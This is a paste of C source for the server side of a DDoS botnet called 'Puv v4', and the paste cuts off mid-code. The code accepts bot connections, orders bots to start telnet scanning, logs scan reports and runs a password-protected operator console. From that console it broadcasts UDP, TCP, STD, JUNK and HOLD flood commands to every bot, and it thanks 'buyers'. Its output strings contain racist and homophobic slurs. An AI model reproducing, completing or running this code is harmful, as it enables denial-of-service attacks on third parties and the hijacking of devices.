Advertisement
ddoswiki

Puvv4 Server Side

Dec 10th, 2017
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.41 KB | None | 0 0
  1. /*
  2. Blue = '\x1b[0;34m'
  3. Brown = '\x1b[0;33m'
  4. Cyan = '\x1b[0;36m'
  5. DarkGray = '\x1b[1;30m'
  6. Green = '\x1b[0;32m'
  7. LightBlue = '\x1b[1;34m'
  8. LightCyan = '\x1b[1;36m'
  9. LightGray = '\x1b[0;37m'
  10. LightGreen = '\x1b[1;32m'
  11. LightPurple = '\x1b[1;35m'
  12. LightRed = '\x1b[1;31m'
  13. Normal = '\x1b[0m'
  14. Purple = '\x1b[0;35m'
  15. Red = '\x1b[0;31m'
  16. White = '\x1b[1;37m'
  17. Yellow = '\x1b[1;33m
  18.  
  19. */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <netdb.h>
  27. #include <unistd.h>
  28. #include <time.h>
  29. #include <fcntl.h>
  30. #include <sys/epoll.h>
  31. #include <errno.h>
  32. #include <pthread.h>
  33. #include <signal.h>
  34.  
  35. #define MAXFDS 1000000
  36.  
  37. struct account {
  38. char id[20];
  39. char password[20];
  40. };
  41. static struct account accounts[50];
  42. struct clientdata_t {
  43. uint32_t ip;
  44. char build[7];
  45. char connected;
  46. } clients[MAXFDS];
  47. struct telnetdata_t {
  48. int connected;
  49. } managements[MAXFDS];
  50. ////////////////////////////////////
  51. static volatile FILE *telFD;
  52. static volatile FILE *fileFD;
  53. static volatile int epollFD = 0;
  54. static volatile int listenFD = 0;
  55. static volatile int managesConnected = 0;
  56. static volatile int TELFound = 0;
  57. static volatile int scannerreport;
  58. ////////////////////////////////////
  59. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  60. {
  61. int total = 0, got = 1;
  62. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  63. return got;
  64. }
  65. void trim(char *str)
  66. {
  67. int i;
  68. int begin = 0;
  69. int end = strlen(str) - 1;
  70. while (isspace(str[begin])) begin++;
  71. while ((end >= begin) && isspace(str[end])) end--;
  72. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  73. str[i - begin] = '\0';
  74. }
  75. static int make_socket_non_blocking (int sfd)
  76. {
  77. int flags, s;
  78. flags = fcntl (sfd, F_GETFL, 0);
  79. if (flags == -1)
  80. {
  81. perror ("fcntl");
  82. return -1;
  83. }
  84. flags |= O_NONBLOCK;
  85. s = fcntl (sfd, F_SETFL, flags);
  86. if (s == -1)
  87. {
  88. perror ("fcntl");
  89. return -1;
  90. }
  91. return 0;
  92. }
  93. static int create_and_bind (char *port)
  94. {
  95. struct addrinfo hints;
  96. struct addrinfo *result, *rp;
  97. int s, sfd;
  98. memset (&hints, 0, sizeof (struct addrinfo));
  99. hints.ai_family = AF_UNSPEC;
  100. hints.ai_socktype = SOCK_STREAM;
  101. hints.ai_flags = AI_PASSIVE;
  102. s = getaddrinfo (NULL, port, &hints, &result);
  103. if (s != 0)
  104. {
  105. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  106. return -1;
  107. }
  108. for (rp = result; rp != NULL; rp = rp->ai_next)
  109. {
  110. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  111. if (sfd == -1) continue;
  112. int yes = 1;
  113. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  114. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  115. if (s == 0)
  116. {
  117. break;
  118. }
  119. close (sfd);
  120. }
  121. if (rp == NULL)
  122. {
  123. fprintf (stderr, "Fuck Boy Change The Port You idiot\n");
  124. return -1;
  125. }
  126. freeaddrinfo (result);
  127. return sfd;
  128. }
  129. void broadcast(char *msg, int us, char *sender)
  130. {
  131. int sendMGM = 1;
  132. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  133. char *wot = malloc(strlen(msg) + 10);
  134. memset(wot, 0, strlen(msg) + 10);
  135. strcpy(wot, msg);
  136. trim(wot);
  137. time_t rawtime;
  138. struct tm * timeinfo;
  139. time(&rawtime);
  140. timeinfo = localtime(&rawtime);
  141. char *timestamp = asctime(timeinfo);
  142. trim(timestamp);
  143. int i;
  144. for(i = 0; i < MAXFDS; i++)
  145. {
  146. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  147. if(sendMGM && managements[i].connected)
  148. {
  149. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  150. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  151. send(i, ": ", 2, MSG_NOSIGNAL);
  152. }
  153. //printf("sent to fd: %d\n", i);
  154. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  155. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m~> \x1b[31m", 13, MSG_NOSIGNAL);
  156. else send(i, "\n", 1, MSG_NOSIGNAL);
  157. }
  158. free(wot);
  159. }
  160. void *epollEventLoop(void *useless)
  161. {
  162. struct epoll_event event;
  163. struct epoll_event *events;
  164. int s;
  165. events = calloc (MAXFDS, sizeof event);
  166. while (1)
  167. {
  168. int n, i;
  169. n = epoll_wait (epollFD, events, MAXFDS, -1);
  170. for (i = 0; i < n; i++)
  171. {
  172. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  173. {
  174. clients[events[i].data.fd].connected = 0;
  175. close(events[i].data.fd);
  176. continue;
  177. }
  178. else if (listenFD == events[i].data.fd)
  179. {
  180. while (1)
  181. {
  182. struct sockaddr in_addr;
  183. socklen_t in_len;
  184. int infd, ipIndex;
  185. in_len = sizeof in_addr;
  186. infd = accept (listenFD, &in_addr, &in_len);
  187. if (infd == -1)
  188. {
  189. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  190. else
  191. {
  192. perror ("accept");
  193. break;
  194. }
  195. }
  196. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  197. int dup = 0;
  198. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  199. {
  200. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  201. if(clients[ipIndex].ip == clients[infd].ip)
  202. {
  203. dup = 1;
  204. break;
  205. }
  206. }
  207.  
  208. if(dup)
  209. {
  210. if(send(infd, "!* GTFOHoes\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  211. if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  212. if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  213. if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  214. if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  215. if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  216. close(infd);
  217. continue;
  218. }
  219.  
  220. s = make_socket_non_blocking (infd);
  221. if (s == -1) { close(infd); break; }
  222.  
  223. event.data.fd = infd;
  224. event.events = EPOLLIN | EPOLLET;
  225. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  226. if (s == -1)
  227. {
  228. perror ("epoll_ctl");
  229. close(infd);
  230. break;
  231. }
  232.  
  233. clients[infd].connected = 1;
  234. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  235. send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL);
  236.  
  237. }
  238. continue;
  239. }
  240. else
  241. {
  242. int thefd = events[i].data.fd;
  243. struct clientdata_t *client = &(clients[thefd]);
  244. int done = 0;
  245. client->connected = 1;
  246. while (1)
  247. {
  248. ssize_t count;
  249. char buf[2048];
  250. memset(buf, 0, sizeof buf);
  251.  
  252. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  253. {
  254. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  255. trim(buf);
  256. if(strcmp(buf, "PING") == 0)
  257. {
  258. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  259. continue;
  260. }
  261. if(strstr(buf, "REPORT ") == buf)
  262. {
  263. char *line = strstr(buf, "REPORT ") + 7;
  264. fprintf(telFD, "%s\n", line);
  265. fflush(telFD);
  266. TELFound++;
  267. continue;
  268. }
  269. if(strstr(buf, "PROBING") == buf)
  270. {
  271. char *line = strstr(buf, "PROBING");
  272. scannerreport = 1;
  273. continue;
  274. }
  275. if(strstr(buf, "REMOVING PROBE") == buf)
  276. {
  277. char *line = strstr(buf, "REMOVING PROBE");
  278. scannerreport = 0;
  279. continue;
  280. }
  281. if(strcmp(buf, "PONG") == 0)
  282. {
  283. continue;
  284. }
  285.  
  286. printf("buf: \"%s\"\n", buf);
  287. }
  288.  
  289. if (count == -1)
  290. {
  291. if (errno != EAGAIN)
  292. {
  293. done = 1;
  294. }
  295. break;
  296. }
  297. else if (count == 0)
  298. {
  299. done = 1;
  300. break;
  301. }
  302. }
  303.  
  304. if (done)
  305. {
  306. client->connected = 0;
  307. close(thefd);
  308. }
  309. }
  310. }
  311. }
  312. }
  313. unsigned int clientsConnected()
  314. {
  315. int i = 0, total = 0;
  316. for(i = 0; i < MAXFDS; i++)
  317. {
  318. if(!clients[i].connected) continue;
  319. total++;
  320. }
  321.  
  322. return total;
  323. }
  324. void *titleWriter(void *sock)
  325. {
  326. int thefd = (int)sock;
  327. char string[2048];
  328. while(1)
  329. {
  330. memset(string, 0, 2048);
  331. sprintf(string, "%c]0; [+]Hoes: %d [-] Pimps: %d[+]%c", '\033', clientsConnected(), managesConnected, '\007');
  332. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  333.  
  334. sleep(3);
  335. }
  336. }
  337. int Search_in_File(char *str)
  338. {
  339. FILE *fp;
  340. int line_num = 0;
  341. int find_result = 0, find_line=0;
  342. char temp[512];
  343.  
  344. if((fp = fopen("login.txt", "r")) == NULL){
  345. return(-1);
  346. }
  347. while(fgets(temp, 512, fp) != NULL){
  348. if((strstr(temp, str)) != NULL){
  349. find_result++;
  350. find_line = line_num;
  351. }
  352. line_num++;
  353. }
  354. if(fp)
  355. fclose(fp);
  356.  
  357. if(find_result == 0)return 0;
  358.  
  359. return find_line;
  360. }
  361.  
  362. void *telnetWorker(void *sock)
  363. {
  364. char usernamez[80];
  365. int thefd = (int)sock;
  366. int find_line;
  367. managesConnected++;
  368. pthread_t title;
  369. char counter[2048];
  370. memset(counter, 0, 2048);
  371. char buf[2048];
  372. char* nickstring;
  373. char* username;
  374. char* password;
  375. memset(buf, 0, sizeof buf);
  376. char botnet[2048];
  377. memset(botnet, 0, 2048);
  378.  
  379. FILE *fp;
  380. int i=0;
  381. int c;
  382. fp=fopen("login.txt", "r");
  383. while(!feof(fp))
  384. {
  385. c=fgetc(fp);
  386. ++i;
  387. }
  388. int j=0;
  389. rewind(fp);
  390. while(j!=i-1)
  391. {
  392. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  393. ++j;
  394. }
  395.  
  396. if(send(thefd, "\x1b[36mUsername: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  397. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  398. trim(buf);
  399. sprintf(usernamez, buf);
  400. nickstring = ("%s", buf);
  401. find_line = Search_in_File(nickstring);
  402. if(strcmp(nickstring, accounts[find_line].id) == 0){
  403. if(send(thefd, "\x1b[35m* LOADING Puv v2 *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  404. if(send(thefd, "\x1b[36mPassword: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  405. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  406. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  407. trim(buf);
  408. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  409. memset(buf, 0, 2048);
  410. goto fak;
  411. }
  412. failed:
  413. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  414. if(send(thefd, "\x1b[36m************************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  415. if(send(thefd, "\x1b[31m* You're fat ass on my net? YEET *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  416. if(send(thefd, "\x1b[36m************************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  417. sleep(5);
  418. goto end;
  419. fak:
  420.  
  421. Title:
  422. pthread_create(&title, NULL, &titleWriter, sock);
  423. char ascii_banner_line1 [5000];
  424. char ascii_banner_line2 [5000];
  425. char ascii_banner_line3 [5000];
  426. char ascii_banner_line4 [5000];
  427. char ascii_banner_line5 [5000];
  428. char ascii_banner_line6 [5000];
  429. char ascii_banner_line7 [5000];
  430. char line1 [80];
  431. char line2 [80];
  432.  
  433. sprintf(ascii_banner_line1, "\x1b[0;35m ███████ ██ ██ ██ ██ ██ ██\r\n");
  434. sprintf(ascii_banner_line2, "\x1b[0;36m ██ ██ ██ ██ ██ ██ ██ ██ ██ ██\r\n");
  435. sprintf(ascii_banner_line3, "\x1b[0;36m ███████ ██ ██ ██ ██ ██ ██ ██████\r\n");
  436. sprintf(ascii_banner_line4, "\x1b[0;36m ██ ██ ██ ██ ██ ██ ██ ██\r\n");
  437. sprintf(ascii_banner_line5, "\x1b[0;36m ██ ██████ ████ ████ ██ \r\n");
  438. sprintf(ascii_banner_line6, "\x1b[0;35m ██ \r\n");
  439. sprintf(ascii_banner_line7, "\x1b[0;31m Made By iPuv Insta @ipuvs \r\n");
  440. sprintf(line1, "\x1b[0;35m $ \x1b[32mWelcome %s To Puv v.4\x1b[0;35m $\r\n", accounts[find_line].id, buf);
  441. sprintf(line2, "\x1b[0;35m $ \x1b[0;31mType HELP \x1b[0;35m$\r\n");
  442.  
  443. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  444. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  445. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  446. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  447. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  448. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  452. while(1) {
  453. if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  454. break;
  455. }
  456. pthread_create(&title, NULL, &titleWriter, sock);
  457. managements[thefd].connected = 1;
  458.  
  459. while(fdgets(buf, sizeof buf, thefd) > 0)
  460. {
  461. if(strstr(buf, "BOTS"))
  462. {
  463. sprintf(botnet, "[+] Hoes: %d [-] Pimps: %d [+]\r\n", clientsConnected(), managesConnected);
  464. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  465. }
  466.  
  467. if(strstr(buf, "PORTS"))
  468. {
  469. sprintf(botnet, "53=DNS 80=HTTP 22=SH 77=GOOD\r\n");
  470. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  471. }
  472. if(strstr(buf, "ABOUT"))
  473. {
  474. sprintf(botnet, "Puv v4 SERVERSIDE. Created by iPuv! Insta @ipuvs\r\n");
  475. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  476. }
  477. if(strstr(buf, "!* TCP"))
  478. {
  479. sprintf(botnet, "AND Poof... NIGGER GONE\r\n");
  480. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  481. }
  482. if(strstr(buf, "!* UDP"))
  483. {
  484. sprintf(botnet, "NULLING WITH UDP FLOOD\r\n");
  485. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  486. }
  487. if(strstr(buf, "!* STD"))
  488. {
  489. sprintf(botnet, "DADDY GAVE STDs TO THAT SKID\r\n");
  490. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  491. }
  492. if(strstr(buf, "!* HTTP"))
  493. {
  494. sprintf(botnet, "HITTING HIS WEBSITE.. RIP\r\n");
  495. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  496. }
  497. if(strstr(buf, "!* SCANNER ON"))
  498. {
  499. sprintf(botnet, "TELNET SCANNER STARTED\r\n");
  500. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  501. }
  502. if(strstr(buf, "!* SCANNER OFF"))
  503. {
  504. sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
  505. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  506. }
  507. if(strstr(buf, "HELP")) {
  508. pthread_create(&title, NULL, &titleWriter, sock);
  509. char helpline1 [80];
  510. char helpline2 [80];
  511.  
  512. sprintf(helpline1, "\x1b[1;37m[\x1b[32mDDOS\x1b[0;32m] ~ DDOS Commands\r\n");
  513. sprintf(helpline2, "\x1b[1;37m[\x1b[36mEXTRA\x1b[0;32m] ~ Extra Lit Commands\r\n");
  514.  
  515. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  516. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  517. pthread_create(&title, NULL, &titleWriter, sock);
  518. while(1) {
  519. if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  520. break;
  521. }
  522. continue;
  523. }
  524. if(strstr(buf, "DDOS")) {
  525. pthread_create(&title, NULL, &titleWriter, sock);
  526. char ddosline1 [80];
  527. char ddosline2 [80];
  528. char ddosline3 [80];
  529. char ddosline4 [80];
  530. char ddosline5 [80];
  531. char ddosline6 [80];
  532.  
  533. sprintf(ddosline1, "\x1b[31m\x1b[35m !* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD\r\n");
  534. sprintf(ddosline2, "\x1b[31m\x1b[35m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  535. sprintf(ddosline3, "\x1b[35m\x1b[35m !* TCP [IP] [PORT] [TIME] 32 all 1337 400| TCP FLOOD\r\n");
  536. sprintf(ddosline4, "\x1b[35m\x1b[35m !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
  537. sprintf(ddosline5, "\x1b[35m\x1b[35m !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD\r\n");
  538. sprintf(ddosline6, "\x1b[35m\x1b[35m !* KILLATTK | KILLS ALL ATTACKS\r\n");
  539.  
  540. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  541. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  542. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  543. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  544. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  545. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  546. pthread_create(&title, NULL, &titleWriter, sock);
  547. while(1) {
  548. if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  549. break;
  550. }
  551. continue;
  552. }
  553.  
  554. if(strstr(buf, "EXTRA")) {
  555. pthread_create(&title, NULL, &titleWriter, sock);
  556. char extraline1 [80];
  557. char extraline2 [80];
  558. char extraline3 [80];
  559. char extraline4 [80];
  560.  
  561. sprintf(extraline1, "\x1b[35m DEV | Made By iPuv\r\n");
  562. sprintf(extraline2, "\x1b[35m CLEAR | CLEARS SCREEN DUH\r\n");
  563. sprintf(extraline3, "\x1b[35m CLEAR_IMU | IMU\r\n");
  564. sprintf(extraline4, "\x1b[35m CLEAR_SMALL | SMALL Puv v4\r\n");
  565.  
  566. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  567. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  568. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  569. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  570. pthread_create(&title, NULL, &titleWriter, sock);
  571. while(1) {
  572. if(send(thefd, "\x1b[1;31m~$ \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  573. break;
  574. }
  575. continue;
  576. }
  577. if(strstr(buf, "CLEAR")){
  578.  
  579. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  580. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  581. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  582. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  583. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  584. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  585. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  586. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  587. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  588. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  589. managements[thefd].connected = 1;
  590. }
  591. if(strstr(buf, "clear")){
  592. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  593. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  594. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  595. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  596. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  597. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  598. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  599. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  600. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  601. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  602. managements[thefd].connected = 1;
  603. }
  604.  
  605. if(strstr(buf, "CLEAR_IMU")){
  606.  
  607. char blue1 [80];
  608. char blue2 [80];
  609. char blue3 [80];
  610. char blue4 [80];
  611. char blue5 [80];
  612. char blue6 [80];
  613. char blue7 [80];
  614. char blue8 [80];
  615.  
  616. sprintf(blue1, "\x1b[35m ::::::::::: ::: ::: ::: ::: \r\n");
  617. sprintf(blue2, "\x1b[36m :+: :+:+: :+:+: :+: :+: \r\n");
  618. sprintf(blue3, "\x1b[36m +:+ +:+ +:+:+ +:+ +:+ +:+ \r\n");
  619. sprintf(blue4, "\x1b[36m +#+ +#+ +:+ +#+ +#+ +:+ \r\n");
  620. sprintf(blue5, "\x1b[36m +#+ +#+ +#+ +#+ +#+ \r\n");
  621. sprintf(blue6, "\x1b[36m #+# #+# #+# #+# #+# \r\n");
  622. sprintf(blue7, "\x1b[35m ########### ### ### ######## \r\n");
  623. sprintf(blue8, "\r\n\x1b[35m [+]-\x1b[31mWelcome %s To IMU\x1b[36m-[+]\r\n", accounts[find_line].id, buf);
  624.  
  625. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  626. if(send(thefd, blue1, strlen(blue1), MSG_NOSIGNAL) == -1) goto end;
  627. if(send(thefd, blue2, strlen(blue2), MSG_NOSIGNAL) == -1) goto end;
  628. if(send(thefd, blue3, strlen(blue3), MSG_NOSIGNAL) == -1) goto end;
  629. if(send(thefd, blue4, strlen(blue4), MSG_NOSIGNAL) == -1) goto end;
  630. if(send(thefd, blue5, strlen(blue5), MSG_NOSIGNAL) == -1) goto end;
  631. if(send(thefd, blue6, strlen(blue6), MSG_NOSIGNAL) == -1) goto end;
  632. if(send(thefd, blue7, strlen(blue7), MSG_NOSIGNAL) == -1) goto end;
  633. if(send(thefd, blue8, strlen(blue8), MSG_NOSIGNAL) == -1) goto end;
  634. pthread_create(&title, NULL, &titleWriter, sock);
  635. managements[thefd].connected = 1;
  636. continue;
  637. }
  638. if(strstr(buf, "CLEAR_SMALL")){
  639. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  640. char small1[80];
  641.  
  642. sprintf(small1, "\x1b[0;34m*\x1b[0;35mWelcome To Puv, Puv v.5 Will be Final!\x1b[0;36m*\r\n");
  643.  
  644. if(send(thefd, "\x1b[0;36m***************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  645. if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end;
  646. if(send(thefd, "\x1b[0;34m***************************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  647. while(1) {
  648. if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  649. break;
  650. }
  651. pthread_create(&title, NULL, &titleWriter, sock);
  652. managements[thefd].connected = 1;
  653. continue;
  654. }
  655.  
  656. if(strstr(buf, "LOGOUT"))
  657. {
  658. sprintf(botnet, "Thanks for buying %s see you next time\r\n", accounts[find_line].id, buf);
  659. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  660. goto end;
  661. }
  662. if(strstr(buf, "99999999999"))
  663. {
  664. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  665. FILE *logFile;
  666. logFile = fopen("TIME.log", "a");
  667. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  668. fclose(logFile);
  669. goto end;
  670. }
  671. if(strstr(buf, "99999999999"))
  672. {
  673. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  674. FILE *logFile;
  675. logFile = fopen("TIME.log", "a");
  676. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  677. fclose(logFile);
  678. goto end;
  679. }
  680. if(strstr(buf, "99999999999"))
  681. {
  682. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  683. FILE *logFile;
  684. logFile = fopen("TIME.log", "a");
  685. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  686. fclose(logFile);
  687. goto end;
  688. }
  689. if(strstr(buf, "99999999999"))
  690. {
  691. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  692. FILE *logFile;
  693. logFile = fopen("TIME.log", "a");
  694. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  695. fclose(logFile);
  696. goto end;
  697. }
  698. if(strstr(buf, "99999999999"))
  699. {
  700. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  701. FILE *logFile;
  702. logFile = fopen("TIME.log", "a");
  703. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  704. fclose(logFile);
  705. goto end;
  706. }
  707. if(strstr(buf, "99999999999"))
  708. {
  709. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  710. FILE *logFile;
  711. logFile = fopen("TIME.log", "a");
  712. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  713. fclose(logFile);
  714. goto end;
  715. }
  716. if(strstr(buf, "99999999999"))
  717. {
  718. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  719. FILE *logFile;
  720. logFile = fopen("TIME.log", "a");
  721. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  722. fclose(logFile);
  723. goto end;
  724. }
  725. if(strstr(buf, "99999999999"))
  726. {
  727. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  728. FILE *logFile;
  729. logFile = fopen("TIME.log", "a");
